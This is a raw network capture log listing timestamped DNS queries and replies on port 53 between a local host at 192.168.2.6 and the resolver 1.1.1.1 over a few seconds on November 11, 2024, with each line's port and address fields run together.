                                                                                                                                                                                                          Nov 11, 2024 18:13:43.942075968 CET53609381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.942591906 CET53562361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.945928097 CET53576241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.946420908 CET53534401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.946594000 CET5073053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.946866989 CET5318953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.948488951 CET5892853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.948673010 CET53605771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.950637102 CET53530311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.952105045 CET5260853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.952251911 CET6080253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.952400923 CET5960453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.953125000 CET5904453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.953299046 CET5159553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.953950882 CET6104953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.955828905 CET4929253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.956159115 CET5302753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.956274033 CET53507301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.957992077 CET53531891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.958564043 CET53629061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.958575010 CET53634251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.959060907 CET53530741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.960223913 CET53534021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.960235119 CET53595081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.961102009 CET53597561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.961112976 CET53608021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.961376905 CET53526081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.961954117 CET53643331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.963531971 CET53590441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.963562012 CET53515951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.963890076 CET53610491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.964788914 CET53530271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.966279030 CET53492921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.969995022 CET5234753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.970907927 CET5648153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.971086025 CET5361553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.971230984 CET5050553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.971422911 CET5991653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972134113 CET5833253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972274065 CET5430753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972400904 CET6395653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972539902 CET5285153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972682953 CET5101253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.972820997 CET6251353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.973361969 CET53549961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.975052118 CET4938053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.978091002 CET5796953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.978276014 CET5272653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.978451967 CET5500253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.978678942 CET5150853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.980148077 CET53639561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.980161905 CET53589281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.980915070 CET53536151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.981163979 CET5256353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.982428074 CET53625131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.984638929 CET53596041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.985307932 CET53527261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.985526085 CET53493801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.988019943 CET53550021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.988523006 CET6297353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.988579035 CET53515081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.989623070 CET53564811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.989937067 CET53599161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.989948988 CET53543071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.990487099 CET53525631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.990745068 CET53505051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.994539976 CET5986453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.997380972 CET6279653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.999507904 CET6471553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.001445055 CET53523471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.002919912 CET53583321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.003391981 CET53528511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.003797054 CET53510121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.005625010 CET53627961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.010508060 CET53579691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.012639046 CET5093553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.014154911 CET5800153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.019810915 CET53629731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.022273064 CET53580011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.024712086 CET53509351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.032898903 CET53647151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.096927881 CET53598641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.393692970 CET6083553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.394556046 CET6306753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.395746946 CET5348453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.399842978 CET5389753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.402865887 CET53608351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.406196117 CET53534841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.410715103 CET53538971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.425667048 CET53630671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.437551975 CET5885353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.437711954 CET6309153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.437865019 CET5959353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438035965 CET6042853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438180923 CET6450753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438565016 CET5738453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438747883 CET4996553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438977957 CET6101153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.439832926 CET4942553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.439985991 CET5696153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.440330982 CET5362153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.444657087 CET53588531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.445596933 CET53630911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.447351933 CET53595931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.449670076 CET53499651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.450845003 CET53494251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.451075077 CET53536211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.468898058 CET53645071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.469935894 CET53604281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.469948053 CET53610111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.470312119 CET53573841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.471225023 CET53569611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.482620001 CET5602053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.482765913 CET5809953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.482917070 CET5058853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.483056068 CET5227553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.489440918 CET5835253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.489697933 CET6146753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.490088940 CET6298153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.490276098 CET5703353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.490698099 CET5138053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.490854025 CET4917453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.491864920 CET53522751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.492656946 CET53580991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.494788885 CET53505881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.499347925 CET53570331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.499761105 CET5913653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.501336098 CET53583521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.501912117 CET5103453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.501987934 CET53513801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.501997948 CET53491741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.502621889 CET6405853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.505115032 CET6345353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.507428885 CET53591361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.512165070 CET53634531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.513289928 CET53560201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.521368027 CET53614671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.521724939 CET53629811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.533029079 CET53510341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.534112930 CET53640581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.569621086 CET5419753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.573297977 CET5851953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.575357914 CET5947553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.575870037 CET6486953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.578123093 CET53541971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.580663919 CET6322353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.584014893 CET53585191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.585975885 CET53594751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.586514950 CET53648691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.592135906 CET53632231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.601624966 CET5680253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.602355957 CET6486353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.603753090 CET5975753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.612915039 CET53568021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.613485098 CET53648631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.619992018 CET6021453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.631278038 CET53602141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.636698008 CET53597571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.663028955 CET6363353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.698116064 CET53636331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.853296041 CET5711453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.853353977 CET4981953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.853818893 CET5912053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.853955984 CET5342053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.854554892 CET5256653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.855170012 CET5584153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.855472088 CET6346653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.855586052 CET5926753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.855935097 CET5162153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.856555939 CET5731753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.857222080 CET5814753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.857290030 CET6529253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.857431889 CET4943553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.858385086 CET6552953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.859189987 CET5482053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.861639977 CET6466153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.862200975 CET5466353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.862407923 CET6209253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.862513065 CET53558411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.864012957 CET53591201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.864315987 CET53534201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.864326000 CET53571141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.865515947 CET53525661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.865667105 CET53516211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.865678072 CET53592671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.866024017 CET53634661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.866431952 CET53581471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.866442919 CET53573171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.867695093 CET53494351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.868107080 CET53548201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.868118048 CET53655291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.869065046 CET5903353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.869899035 CET6492053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.870059967 CET5758553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.870204926 CET5973253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.870835066 CET5320653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.872819901 CET53646611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.873841047 CET53546631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.875861883 CET5735353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.876092911 CET5990153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.880656004 CET53575851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.880669117 CET53532061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.881808996 CET53597321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.885550022 CET53498191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.886050940 CET53573531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.886358023 CET53599011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.889708042 CET53652921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.891074896 CET5355853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.892286062 CET6368853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.892474890 CET6459853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.893435001 CET6037653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.893495083 CET53620921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.893605947 CET5949953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.899624109 CET53636881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.899635077 CET53590331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.900820971 CET53535581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.901978016 CET53649201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.904268980 CET53603761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.905030966 CET53645981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.907352924 CET5689453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.907560110 CET5579653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.909473896 CET5559653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.909873009 CET5277753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910161972 CET6342253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910307884 CET6302153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910679102 CET5175553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910837889 CET5099553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910978079 CET5345453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.911319017 CET5385153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.911879063 CET5488453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.914573908 CET5166653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.916268110 CET5260453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.919514894 CET53634221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.919526100 CET53527771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.920507908 CET53509951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.920819044 CET53517551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.922192097 CET53538511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.923998117 CET53516661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.924556971 CET53594991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.928520918 CET5581553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.930433035 CET53548841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.930885077 CET5954353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.937715054 CET53557961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.939111948 CET53568941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.941715956 CET53555961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.941797018 CET53595431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.942154884 CET53534541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.942306995 CET6272053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.942416906 CET53630211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.942734003 CET5426053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.949261904 CET53526041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.950364113 CET5292053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.950545073 CET6523453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.950869083 CET6153153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.951042891 CET5839653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.951872110 CET53627201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.953162909 CET53542601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.959599018 CET53529201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.959647894 CET53558151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.960216999 CET53652341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.960969925 CET53615311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.961962938 CET53583961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.146270990 CET4966853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.156430006 CET53496681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.352404118 CET5084253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.374787092 CET53508421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.839503050 CET6319053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.851737022 CET53631901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.126096010 CET5772353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.127681971 CET5595053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.127979994 CET5386153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.128629923 CET4915353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.129401922 CET5194253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.133819103 CET5037453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.133966923 CET6399053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.134852886 CET53577231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.136838913 CET53519421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.139708042 CET53491531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.142324924 CET53639901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.147160053 CET53559501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.158953905 CET53538611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.165332079 CET53503741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.043493986 CET5823253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.049297094 CET5752053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.060129881 CET53575201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.061745882 CET5028053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.061852932 CET5621953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.062071085 CET5022253192.168.2.61.1.1.1
